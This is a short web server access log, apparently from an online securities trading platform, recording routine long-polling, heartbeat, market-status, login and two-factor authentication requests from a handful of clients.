[09/Jan/2026:11:40:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930283021 HTTP/1.1" -
[09/Jan/2026:11:40:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930282406 HTTP/1.1" -
[09/Jan/2026:11:40:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:40:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:40:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930286345 HTTP/1.1" -
[09/Jan/2026:11:40:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930288059 HTTP/1.1" -
[09/Jan/2026:11:40:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930287523 HTTP/1.1" -
[09/Jan/2026:11:40:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:40:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930291480 HTTP/1.1" -
[09/Jan/2026:11:40:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:40:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:40:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930293102 HTTP/1.1" -
[09/Jan/2026:11:40:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930292600 HTTP/1.1" -
[09/Jan/2026:11:40:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:11:40:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930296600 HTTP/1.1" -
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:40:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:40:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930298147 HTTP/1.1" -
[09/Jan/2026:11:40:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:11:40:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:40:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:40:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:40:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:40:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:40:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:40:29 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:40:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930297633 HTTP/1.1" -
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:40:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:40:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:40:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:11:40:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930300170 HTTP/1.1" 3188
[09/Jan/2026:11:40:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:40:31 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:11:40:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930301657 HTTP/1.1" -
[09/Jan/2026:11:40:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930303189 HTTP/1.1" -
[09/Jan/2026:11:40:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930302694 HTTP/1.1" -
[09/Jan/2026:11:40:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930306728 HTTP/1.1" -
[09/Jan/2026:11:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:11:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:40:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930308229 HTTP/1.1" -
[09/Jan/2026:11:40:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930307768 HTTP/1.1" -
[09/Jan/2026:11:40:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930311864 HTTP/1.1" -
[09/Jan/2026:11:40:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckIsEnableRSA HTTP/1.1" 1
[09/Jan/2026:11:40:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CheckPwEncryptType HTTP/1.1" -
[09/Jan/2026:11:40:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:40:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:40:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930313269 HTTP/1.1" -
[09/Jan/2026:11:40:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930312848 HTTP/1.1" -
[09/Jan/2026:11:40:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Login HTTP/1.1" 462
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/2FA_authentication.html?language=tc&version=HTML HTTP/1.1" 1468
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0-iAsiaEdition.js HTTP/1.1" 6651
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/2fa.js?jsv=20200819161914 HTTP/1.1" 1953
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/webpage_settings.js?jsv=20200819161914 HTTP/1.1" 33
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:40:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:40:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:40:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767930314860 HTTP/1.1" 3188
[09/Jan/2026:11:40:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:11:40:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:40:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:11:40:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Get2FAInfoService HTTP/1.1" 109
[09/Jan/2026:11:40:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:40:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:40:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930317056 HTTP/1.1" -
[09/Jan/2026:11:40:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930318315 HTTP/1.1" -
[09/Jan/2026:11:40:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930317949 HTTP/1.1" -
[09/Jan/2026:11:40:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:40:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:40:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930322236 HTTP/1.1" -
[09/Jan/2026:11:40:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:40:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:40:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930323344 HTTP/1.1" -
[09/Jan/2026:11:40:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930323018 HTTP/1.1" -
[09/Jan/2026:11:40:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930327302 HTTP/1.1" -
